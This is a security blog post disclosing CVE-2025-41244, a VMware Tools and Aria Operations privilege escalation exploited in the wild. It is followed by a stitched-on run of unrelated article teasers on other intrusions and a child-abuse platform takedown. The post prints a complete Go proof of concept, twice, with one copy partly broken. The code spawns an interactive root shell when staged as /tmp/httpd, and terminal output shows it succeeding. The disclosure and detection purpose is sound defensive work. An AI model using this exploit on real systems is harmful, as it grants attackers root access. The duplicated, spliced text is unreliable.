blog.nviso.eu Maxime Thiebaut Incident Response & Threat Researcher Expert within NVISO CSIRT 29.09.2025
NVISO has identified zero-day exploitation of CVE-2025-41244, a local privilege escalation vulnerability impacting VMware's guest service discovery features.
On September 29th, 2025, Broadcom disclosed a local privilege escalation vulnerability, CVE-2025-41244, impacting VMware’s guest service discovery features. NVISO has identified zero-day exploitation in the wild beginning mid-October 2024.
The vulnerability impacts both the VMware Tools and VMware Aria Operations. When successful, exploitation of the local privilege escalation results in unprivileged users achieving code execution in privileged contexts (e.g., root).
Throughout its incident response engagements, NVISO determined with confidence that UNC5174 triggered the local privilege escalation. We can however not assess whether this exploit was part of UNC5174’s capabilities or whether the zero-day’s usage was merely accidental due to its trivialness. UNC5174, a Chinese state-sponsored threat actor, has repeatedly been linked to initial access operations achieved through public exploitation.
Background
Organizations relying on the VMware hypervisor commonly employ the VMware Aria Suite to manage their hybrid‑cloud workloads from a single console. Within this VMware Aria Suite, VMware Aria Operations is the component that provides performance insights, automated remediation, and capacity planning for the different hybrid‑cloud workloads. As part of its performance insights, VMware Aria Operations is capable of discovering which services and applications are running in the different virtual machines (VMs), a feature offered through the Service Discovery Management Pack (SDMP).
The discovery of these services and applications can be achieved in either of two modes:
The legacy credential-based service discovery relies on VMware Aria Operations running metrics collector scripts within the guest VM using a privileged user. In this mode, all the collection logic is managed by VMware Aria Operations and the guest’s VMware Tools merely acts as a proxy for the performed operations.
The credential-less service discovery is a more recent approach where the metrics collection has been implemented within the guest’s VMware Tools itself. In this mode, no credentials are needed as the collection is performed under the already privileged VMware Tools context.
As part of its discovery, NVISO was able to confirm the privilege escalation affects both modes, with the logic flaw hence being respectively located within VMware Aria Operations (in credential-based mode) and the VMware Tools (in credential-less mode). While VMware Aria Operations is proprietary, the VMware Tools are available as an open-source variant known as VMware’s open-vm-tools, distributed on most major Linux distributions. The following CVE-2025-41244 analysis is performed on this open-source component.
Analysis
Within open-vm-tools’ service discovery feature, the component handling the identification of a service’s version is achieved through the get-versions.sh shell script. As part of its logic, the get-versions.sh shell script has a generic get_version function. The function takes as argument a regular expression pattern, used to match supported service binaries (e.g., /usr/bin/apache), and a version command (e.g., -v), used to indicate how a matching binary should be invoked to retrieve its version.
When invoked, get_version loops $space_separated_pids, a list of all processes with a listening socket. For each process, it checks whether service binary (e.g., /usr/bin/apache) matches the regular expression and, if so, invokes the supported service’s version command (e.g., /usr/bin/apache -v).
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}
The get_version function is called using several supported patterns and associated version commands. While this functionality works as expected for system binaries (e.g., /usr/bin/httpd), the usage of the broad‑matching \S character class (matching non‑whitespace characters) in several of the regex patterns also matches non-system binaries (e.g., /tmp/httpd). These non-system binaries are located within directories (e.g., /tmp) which are writable to unprivileged users by design.
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S" -v
get_version "/\S+/mysqld($|\s)" -V
get_version ".?/\Snginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S" -v
get_version "/\S+/mysqld($|\s)" -V
get_version ".?/\Snginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
By matching and subsequently executing non-system binaries (CWE-426: Untrusted Search Path), the service discovery feature can be abused by unprivileged users through the staging of malicious binaries (e.g., /tmp/httpd) which are subsequently elevated for version discovery. As simple as it sounds, you name it, VMware elevates it.
Proof of Concept
To abuse this vulnerability, an unprivileged local attacker can stage a malicious binary within any of the broadly-matched regular expression paths. A simple common location, abused in the wild by UNC5174, is /tmp/httpd. To ensure the malicious binary is picked up by the VMware service discovery, the binary must be run by the unprivileged user (i.e., show up in the process tree) and open at least a (random) listening socket.
The following bare-bone CVE-2025-41244.go proof-of-concept can be used to demonstrate the privilege escalation.
package main
import (
"fmt"
"io"
"net"
"os"
"os/exec"
)
func main() {
// If started with an argument (e.g., -v or --version), assume we're the privileged process.
// Otherwise, assume we're the unprivileged process.
if len(os.Args) >= 2 {
if err := connect(); err != nil {
panic(err)
}
} else {
if err := serve(); err != nil {
panic(err)
}
}
}
func serve() error {
// Open a dummy listener, ensuring the service can be discovered.
dummy, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
return err
}
defer dummy.Close()
// Open a listener to exchange stdin, stdout and stderr streams.
l, err := net.Listen("unix", "@cve")
if err != nil {
return err
}
defer l.Close()
// Loop privilege escalations, but don't do concurrency.
for {
if err := handle(l); err != nil {
return err
}
}
}
func handle(l net.Listener) error {
// Wait for the privileged stdin, stdout and stderr streams.
fmt.Println("Waiting on privileged process...")
stdin, err := l.Accept()
if err != nil {
return err
}
defer stdin.Close()
stdout, err := l.Accept()
if err != nil {
return err
}
defer stdout.Close()
stderr, err := l.Accept()
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Println("Connected to privileged process!")
errs := make(chan error, 3)
go func() {
, err := io.Copy(os.Stdout, stdout)
errs <- err
}()
go func() {
, err := io.Copy(os.Stderr, stderr)
errs <- err
}()
go func() {
_, err := io.Copy(stdin, os.Stdin)
errs <- err
}()
// Abort as soon as any of the interconnected streams fails.
_ = <-errs
return nil
}
func connect() error {
// Define the privileged shell to execute.
cmd := exec.Command("/bin/sh", "-i")
// Connect to the unprivileged process
stdin, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdin.Close()
stdout, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdout.Close()
stderr, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Fprintln(stdout, "Starting privileged shell...")
cmd.Stdin = stdin
cmd.Stdout = stdout
cmd.Stderr = stderr
return cmd.Run()
}
package main
import (
"fmt"
"io"
"net"
"os"
"os/exec"
)
func main() {
// If started with an argument (e.g., -v or --version), assume we're the privileged process.
// Otherwise, assume we're the unprivileged process.
if len(os.Args) >= 2 {
if err := connect(); err != nil {
panic(err)
}
} else {
if err := serve(); err != nil {
panic(err)
}
}
}
func serve() error {
// Open a dummy listener, ensuring the service can be discovered.
dummy, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
return err
}
defer dummy.Close()
// Open a listener to exchange stdin, stdout and stderr streams.
l, err := net.Listen("unix", "@cve")
if err != nil {
return err
}
defer l.Close()
// Loop privilege escalations, but don't do concurrency.
for {
if err := handle(l); err != nil {
return err
}
}
}
func handle(l net.Listener) error {
// Wait for the privileged stdin, stdout and stderr streams.
fmt.Println("Waiting on privileged process...")
stdin, err := l.Accept()
if err != nil {
return err
}
defer stdin.Close()
stdout, err := l.Accept()
if err != nil {
return err
}
defer stdout.Close()
stderr, err := l.Accept()
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Println("Connected to privileged process!")
errs := make(chan error, 3)
go func() {
_, err := io.Copy(os.Stdout, stdout)
errs <- err
}()
go func() {
_, err := io.Copy(os.Stderr, stderr)
errs <- err
}()
go func() {
_, err := io.Copy(stdin, os.Stdin)
errs <- err
}()
// Abort as soon as any of the interconnected streams fails.
_ = <-errs
return nil
}
func connect() error {
// Define the privileged shell to execute.
cmd := exec.Command("/bin/sh", "-i")
// Connect to the unprivileged process
stdin, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdin.Close()
stdout, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stdout.Close()
stderr, err := net.Dial("unix", "@cve")
if err != nil {
return err
}
defer stderr.Close()
// Interconnect stdin, stdout and stderr.
fmt.Fprintln(stdout, "Starting privileged shell...")
cmd.Stdin = stdin
cmd.Stdout = stdout
cmd.Stderr = stderr
return cmd.Run()
}
Once compiled to a matching path (e.g., go build -o /tmp/httpd CVE-2025-41244.go) and executed, the above proof of concept will spawn an elevated root shell as soon as the VMware metrics collection is executed. This process, at least in credential-less mode, has historically been documented to run every 5 minutes.
nobody@nviso:/tmp$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@nviso:/tmp$ /tmp/httpd
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
/bin/sh: 0: can't access tty; job control turned off
uid=0(root) gid=0(root) groups=0(root)
#
nobody@nviso:/tmp$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@nviso:/tmp$ /tmp/httpd
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
/bin/sh: 0: can't access tty; job control turned off
uid=0(root) gid=0(root) groups=0(root)
#
Credential-based Service Discovery
When service discovery operates in the legacy credential-based mode, VMware Aria Operations will eventually trigger the privilege escalation once it runs the metrics collector scripts. Following successful exploitation, the unprivileged user will have achieved code execution within the privileged context of the configured credentials. The beneath process tree was obtained by running the ps -ef --forest command through the privilege escalation shell, where the entries until line 4 are legitimate and the entries as of line 5 part of the proof-of-concept exploit.
UID PID PPID C STIME TTY TIME CMD
root 806 1 0 08:54 ? 00:00:21 /usr/bin/vmtoolsd
root 80617 806 0 13:20 ? 00:00:00 _ /usr/bin/vmtoolsd
root 80618 80617 0 13:20 ? 00:00:00 _ /bin/sh /tmp/VMware-SDMP-Scripts-193-fb2553a0-d63c-44e5-90b3-e1cda71ae24c/script_-28702555433556123420.sh
root 80621 80618 0 13:20 ? 00:00:00 _ /tmp/httpd -v
root 80626 80621 0 13:20 ? 00:00:00 _ /bin/sh -i
root 81087 80626 50 13:22 ? 00:00:00 _ ps -ef --forest
UID PID PPID C STIME TTY TIME CMD
root 806 1 0 08:54 ? 00:00:21 /usr/bin/vmtoolsd
root 80617 806 0 13:20 ? 00:00:00 _ /usr/bin/vmtoolsd
root 80618 80617 0 13:20 ? 00:00:00 _ /bin/sh /tmp/VMware-SDMP-Scripts-193-fb2553a0-d63c-44e5-90b3-e1cda71ae24c/script-28702555433556123420.sh
root 80621 80618 0 13:20 ? 00:00:00 _ /tmp/httpd -v
root 80626 80621 0 13:20 ? 00:00:00 _ /bin/sh -i
root 81087 80626 50 13:22 ? 00:00:00 \ ps -ef --forest
Credential-less Service Discovery
When service discovery operates in the modern credential-less mode, the VMware Tools will eventually trigger the privilege escalation once it runs the collector plugin. Following successful exploitation, the unprivileged user will have achieved code execution within the privileged VMware Tools user context. The beneath process tree was obtained by running the ps -ef --forest command through the privilege escalation shell, where the first entry is legitimate and all subsequent entries (line 3 and beyond) part of the proof-of-concept exploit.
UID PID PPID C STIME TTY TIME CMD
root 10660 1 0 13:42 ? 00:00:00 /bin/sh /usr/lib/x8664-linux-gnu/open-vm-tools/serviceDiscovery/scripts/get-versions.sh
root 10688 10660 0 13:42 ? 00:00:00 _ /tmp/httpd -v
root 10693 10688 0 13:42 ? 00:00:00 _ /bin/sh -i
root 11038 10693 0 13:44 ? 00:00:00 \ ps -ef --forest
UID PID PPID C STIME TTY TIME CMD
root 10660 1 0 13:42 ? 00:00:00 /bin/sh /usr/lib/x8664-linux-gnu/open-vm-tools/serviceDiscovery/scripts/get-versions.sh
root 10688 10660 0 13:42 ? 00:00:00 _ /tmp/httpd -v
root 10693 10688 0 13:42 ? 00:00:00 _ /bin/sh -i
root 11038 10693 0 13:44 ? 00:00:00 \ ps -ef --forest
Detection
Successful exploitation of CVE-2025-41244 can easily be detected through the monitoring of uncommon child processes as demonstrated in the above process trees. Being a local privilege escalation, abuse of CVE-2025-41244 is indicative that an adversary has already gained access to the affected device and that several other detection mechanisms should have triggered.
Under certain circumstances, exploitation may forensically be confirmed in legacy credential-based mode through the analysis of lingering metrics collector scripts and outputs under the /tmp/VMware-SDMP-Scripts-{UUID}/ folders. While less than ideal, this approach may serve as a last resort in environments without process monitoring on compromised machines. The following redacted metrics collector script was recovered from the /tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.sh location and mentions the matched non-system service binary on its last line.
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}0.stdout" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout"
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr"
unset LINES;
unset COLUMNS;
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}_0.stderr"
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}0.stdout" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout"
if [ -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr" ]
then
rm -f "/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stderr"
unset LINES;
unset COLUMNS;
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script-{ID}_0.stderr"
Conclusions
While NVISO identified these vulnerabilities through its UNC5174 incident response engagements, the vulnerabilities’ trivialness and adversary practice of mimicking system binaries (T1036.005) do not allow us to determine with confidence whether UNC5174 willfully achieved exploitation.
The broad practice of mimicking system binaries (e.g., httpd) highlight the real possibility that several other malware strains have accidentally been benefiting from unintended privilege escalations for years. Furthermore, the ease with which these vulnerabilities could be identified in the open-vm-tools source code make it unlikely that knowledge of the privilege escalations did not predate NVISO’s in-the-wild identification.
Timeline
2025-05-19: Forensic artifact anomaly noted during UNC5174 incident response engagement.
2025-05-21: Forensic artifact anomaly attributed to unknown zero-day vulnerability.
2025-05-25: Zero day vulnerability identified and reproduced in a lab environment.
2025-05-27: Responsible disclosure authorized and initiated through Broadcom.
2025-05-28: Responsible disclosure triaged, investigation started by Broadcom.
2025-06-18: Embargo extended by Broadcom until no later than October to align release cycles.
2025-09-29: Embargo lifted, CVE-2025-41244 patches and advisory published.
EclecticIQ analysts assess with high confidence that, in April 2025, China-nexus nation-state APTs (advanced persistent threat) launched high-temp exploitation campaigns against critical infrastructure networks by targeting SAP NetWeaver Visual Composer. Actors leveraged CVE-2025-31324 [1], an unauthenticated file upload vulnerability that enables remote code execution (RCE). This assessment is based on a publicly exposed directory (opendir) found on attacker-controlled infrastructure, which contained detailed event logs capturing operations across multiple compromised systems.
EclecticIQ analysts link observed SAP NetWeaver intrusions to Chinese cyber-espionage units including UNC5221 [2], UNC5174 [3], and CL-STA-0048 [4] based on threat actor tradecrafts patterns. Mandiant and Palo Alto researchers assess that these groups connect to China's Ministry of State Security (MSS) or affiliated private entities. These actors operate strategically to compromise critical infrastructures, exfiltrate sensitive data, and maintain persistent access across high-value networks worldwide.
Uncategorized China-Nexus Threat Actor Scanning the Internet for CVE-2025-31324 and Upload Webshells
EclecticIQ analysts assess with high confidence that, a very likely China-nexus threat actor is conducting a widespread internet scanning and exploitation campaign against SAP NetWeaver systems. Threat actor–controlled server hosted at IP address 15.204.56[.]106 exposed the scope of the SAP NetWeaver intrusions [5].
This Google Threat Intelligence Group report presents an analysis of detected 2024 zero-day exploits.
Google Threat Intelligence Group (GTIG) tracked 75 zero-day vulnerabilities exploited in the wild in 2024, a decrease from the number we identified in 2023 (98 vulnerabilities), but still an increase from 2022 (63 vulnerabilities). We divided the reviewed vulnerabilities into two main categories: end-user platforms and products (e.g., mobile devices, operating systems, and browsers) and enterprise-focused technologies, such as security software and appliances.
Vendors continue to drive improvements that make some zero-day exploitation harder, demonstrated by both dwindling numbers across multiple categories and reduced observed attacks against previously popular targets. At the same time, commercial surveillance vendors (CSVs) appear to be increasing their operational security practices, potentially leading to decreased attribution and detection.
We see zero-day exploitation targeting a greater number and wider variety of enterprise-specific technologies, although these technologies still remain a smaller proportion of overall exploitation when compared to end-user technologies. While the historic focus on the exploitation of popular end-user technologies and their users continues, the shift toward increased targeting of enterprise-focused products will require a wider and more diverse set of vendors to increase proactive security measures in order to reduce future zero-day exploitation attempts.
Kidflix, one of the largest paedophile platforms in the world, has been shut down in an international operation against child sexual exploitation. The investigation was supported by Europol and led by the State Criminal Police of Bavaria (Bayerisches Landeskriminalamt) and the Bavarian Central Office for the Prosecution of Cybercrime (ZCB). Over 35 countries worldwide participated in the operation. almost 1 400 suspects worldwide. So far, 79 of these individuals have been arrested...
After identifying a significant overlap between IPs exploiting CVE-2024-40891 and those classified as Mirai, the team investigated a recent variant of Mirai and confirmed that the ability to exploit CVE-2024-40891 has been incorporated into some Mirai strains.
GreyNoise is observing active exploitation attempts targeting a zero-day critical command injection vulnerability in Zyxel CPE Series devices tracked as CVE-2024-40891. At this time, the vulnerability is not patched, nor has it been publicly disclosed. Attackers can leverage this vulnerability to execute arbitrary commands on affected devices, leading to complete system compromise, data exfiltration, or network infiltration. At publication, Censys is reporting over 1,500 vulnerable devices online.
Zero-day exploitation of Ivanti Connect Secure VPN vulnerabilities since as far back as December 2024.
On Wednesday, Jan. 8, 2025, Ivanti disclosed two vulnerabilities, CVE-2025-0282 and CVE-2025-0283, impacting Ivanti Connect Secure (“ICS”) VPN appliances. Mandiant has identified zero-day exploitation of CVE-2025-0282 in the wild beginning mid-December 2024. CVE-2025-0282 is an unauthenticated stack-based buffer overflow. Successful exploitation could result in unauthenticated remote code execution, leading to potential downstream compromise of a victim network.
Microsoft on Tuesday raised an alarm for in-the-wild exploitation of a critical flaw in Windows Update, warning that attackers are rolling back security fixes on certain versions of its flagship operating system.
PDF (Portable Document Format) files have become an integral part of modern digital communication. Renowned for their universality and fidelity, PDFs offer a robust platform for sharing documents across diverse computing environments. PDFs have evolved into a standard format for presenting text, images, and multimedia content with consistent layout and formatting, irrespective of the software, hardware, or operating system used to view them. This versatility has made PDFs indispensable in fields ranging from business and academia to government and personal use, serving as a reliable means of exchanging information in a structured and accessible manner.
On April 10, 2024, Volexity identified zero-day exploitation of a vulnerability found within the GlobalProtect feature of Palo Alto Networks PAN-OS at one of its network security monitoring (NSM) customers. Volexity received alerts regarding suspect network traffic emanating from the customer’s firewall. A subsequent investigation determined the device had been compromised. The following day, April 11, 2024, Volexity observed further, identical exploitation at another one of its NSM customers by the same threat actor.
Andres Freund published the existence of the xz attack on 2024-03-29 to the public oss-security@openwall mailing list. The day before, he alerted Debian security and the (private) distros@openwall list. In his mail, he says that he dug into this after “observing a few odd symptoms around liblzma (part of the xz package) on Debian sid installations over the last weeks (logins with ssh taking a lot of CPU, valgrind errors).”
At a high level, the attack is split in two pieces: a shell script and an object file. There is an injection of shell code during configure, which injects the shell code into make. The shell code during make adds the object file to the build. This post examines the shell script. (See also my timeline post.)
Early this February, Fortinet released an advisory for an "out-of-bounds write vulnerability" that could lead to remote code execution. The issue affected the SSL VPN component of their FortiGate network appliance and was potentially already being exploited in the wild. In this post we detail the steps we took to identify the patched vulnerability and produce a working exploit.
On January 10, 2024, Volexity publicly shared details of targeted attacks by UTA00178 exploiting two zero-day vulnerabilities (CVE-2024-21887 and CVE-2023-46805) in Ivanti Connect Secure (ICS) VPN appliances. On the same day, Ivanti published a mitigation that could be applied to ICS VPN appliances to prevent exploitation of these vulnerabilities. Since publication of these details, Volexity has continued to monitor its existing customers for exploitation. Volexity has also been contacted by multiple organizations that saw signs of compromise by way of mismatched file detections. Volexity has been actively working multiple new cases of organizations with compromised ICS VPN appliances.